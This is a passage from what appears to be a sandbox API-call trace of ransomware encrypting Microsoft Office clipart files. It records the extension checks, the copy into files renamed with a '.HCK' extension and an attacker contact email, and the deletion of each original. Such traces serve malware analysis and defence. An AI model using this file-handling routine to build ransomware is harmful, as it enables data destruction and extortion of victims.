Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0155.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.248] lstrlenW (lpString=".doc") returned 4 [0155.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.248] lstrlenW (lpString=".docx") returned 5 [0155.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.248] lstrlenW (lpString=".pdf") returned 4 [0155.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.248] lstrlenW (lpString=".xls") returned 4 [0155.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.248] lstrlenW (lpString=".xlsx") returned 5 [0155.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.248] lstrlenW (lpString=".ppt") returned 4 [0155.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.248] lstrlenW (lpString=".zip") returned 4 [0155.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.248] lstrlenW (lpString=".rar") returned 4 [0155.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.248] lstrlenW (lpString=".bz2") returned 4 [0155.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.248] lstrlenW (lpString=".7z") returned 3 [0155.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.248] lstrlenW (lpString=".dbf") returned 4 [0155.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.248] lstrlenW (lpString=".1cd") returned 4 [0155.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.249] lstrlenW (lpString=".jpg") returned 4 [0155.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.249] lstrlenW (lpString=".doc") returned 4 [0155.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString=".docx") returned 5 [0155.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.249] lstrlenW (lpString=".pdf") returned 4 [0155.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString=".xls") returned 4 [0155.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.249] lstrlenW (lpString=".xlsx") returned 5 [0155.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.249] lstrlenW (lpString=".ppt") returned 4 [0155.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.249] lstrlenW (lpString=".zip") returned 4 [0155.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.249] lstrlenW (lpString=".rar") returned 4 [0155.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString=".bz2") returned 4 [0155.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString=".7z") returned 3 [0155.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.249] lstrlenW (lpString=".dbf") returned 4 [0155.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.249] lstrlenW (lpString=".1cd") returned 4 [0155.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0155.249] lstrlenW (lpString=".jpg") returned 4 [0155.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.249] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.249] lstrlenW (lpString="BD09031_.WMF") returned 12 [0155.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.250] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=47786) returned 1 [0155.250] CloseHandle (hObject=0x308) returned 1 [0155.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0155.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.251] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.251] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0155.251] GetLastError () returned 0x0 [0155.251] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0155.254] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xbab0, lpOverlapped=0x0) returned 1 [0155.255] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.255] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.255] SetEndOfFile (hFile=0x2e8) returned 1 [0155.255] CloseHandle (hObject=0x2e8) returned 1 [0155.257] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.257] SetEndOfFile (hFile=0x308) returned 1 [0155.258] CloseHandle (hObject=0x308) returned 1 [0155.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0155.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.258] lstrlenW (lpString=".doc") returned 4 [0155.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.258] lstrlenW (lpString=".docx") returned 5 [0155.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.259] lstrlenW (lpString=".pdf") returned 4 [0155.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString=".xls") returned 4 [0155.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.259] lstrlenW (lpString=".xlsx") returned 5 [0155.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.259] lstrlenW (lpString=".ppt") returned 4 [0155.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.259] lstrlenW (lpString=".zip") returned 4 [0155.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.259] lstrlenW (lpString=".rar") returned 4 [0155.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString=".bz2") returned 4 [0155.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString=".7z") returned 3 [0155.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.259] lstrlenW (lpString=".dbf") returned 4 [0155.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.259] lstrlenW (lpString=".1cd") returned 4 [0155.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.259] lstrlenW (lpString=".jpg") returned 4 [0155.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.259] lstrlenW (lpString=".doc") returned 4 [0155.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString=".docx") returned 5 [0155.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.259] lstrlenW (lpString=".pdf") returned 4 [0155.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString=".xls") returned 4 [0155.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.259] lstrlenW (lpString=".xlsx") returned 5 [0155.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.259] lstrlenW (lpString=".ppt") returned 4 [0155.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.259] lstrlenW (lpString=".zip") returned 4 [0155.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.260] lstrlenW (lpString=".rar") returned 4 [0155.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.260] lstrlenW (lpString=".bz2") returned 4 [0155.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.260] lstrlenW (lpString=".7z") returned 3 [0155.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.260] lstrlenW (lpString=".dbf") returned 4 [0155.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.260] lstrlenW (lpString=".1cd") returned 4 [0155.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0155.260] lstrlenW (lpString=".jpg") returned 4 [0155.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.260] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.260] lstrlenW (lpString="BD09194_.WMF") returned 12 [0155.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.612] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=14540) returned 1 [0155.612] CloseHandle (hObject=0x364) returned 1 [0155.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220 [0155.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.612] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.612] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.612] GetLastError () returned 0x0 [0155.612] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x38cc, lpOverlapped=0x0) returned 1 [0155.650] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x38d0, lpOverlapped=0x0) returned 1 [0155.650] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.650] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.651] SetEndOfFile (hFile=0x394) returned 1 [0155.651] CloseHandle (hObject=0x394) returned 1 [0155.652] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.652] SetEndOfFile (hFile=0x364) returned 1 [0155.652] CloseHandle (hObject=0x364) returned 1 [0155.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0155.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.653] lstrlenW (lpString=".doc") returned 4 [0155.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.653] lstrlenW (lpString=".docx") returned 5 [0155.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.653] lstrlenW (lpString=".pdf") returned 4 [0155.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.653] lstrlenW (lpString=".xls") returned 4 [0155.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.653] lstrlenW (lpString=".xlsx") returned 5 [0155.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.653] lstrlenW (lpString=".ppt") returned 4 [0155.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.653] lstrlenW (lpString=".zip") returned 4 [0155.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.653] lstrlenW (lpString=".rar") returned 4 [0155.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.653] lstrlenW (lpString=".bz2") returned 4 [0155.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.653] lstrlenW (lpString=".7z") returned 3 [0155.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.653] lstrlenW (lpString=".dbf") returned 4 [0155.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString=".1cd") returned 4 [0155.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString=".jpg") returned 4 [0155.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString=".doc") returned 4 [0155.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString=".docx") returned 5 [0155.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.654] lstrlenW (lpString=".pdf") returned 4 [0155.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString=".xls") returned 4 [0155.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.654] lstrlenW (lpString=".xlsx") returned 5 [0155.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.654] lstrlenW (lpString=".ppt") returned 4 [0155.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString=".zip") returned 4 [0155.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.654] lstrlenW (lpString=".rar") returned 4 [0155.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString=".bz2") returned 4 [0155.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString=".7z") returned 3 [0155.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString=".dbf") returned 4 [0155.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString=".1cd") returned 4 [0155.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0155.654] lstrlenW (lpString=".jpg") returned 4 [0155.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.654] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.654] lstrlenW (lpString="BD19827_.WMF") returned 12 [0155.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.655] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9710) returned 1 [0155.655] CloseHandle (hObject=0x364) returned 1 [0155.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x220 [0155.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.659] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.659] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0155.660] GetLastError () returned 0x0 [0155.660] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0155.661] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0155.662] ReadFile (in: hFile=0x364, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.662] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.662] SetEndOfFile (hFile=0x394) returned 1 [0155.662] CloseHandle (hObject=0x394) returned 1 [0155.662] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.663] SetEndOfFile (hFile=0x364) returned 1 [0155.663] CloseHandle (hObject=0x364) returned 1 [0155.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0155.664] lstrlenW (lpString=".doc") returned 4 [0155.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.664] 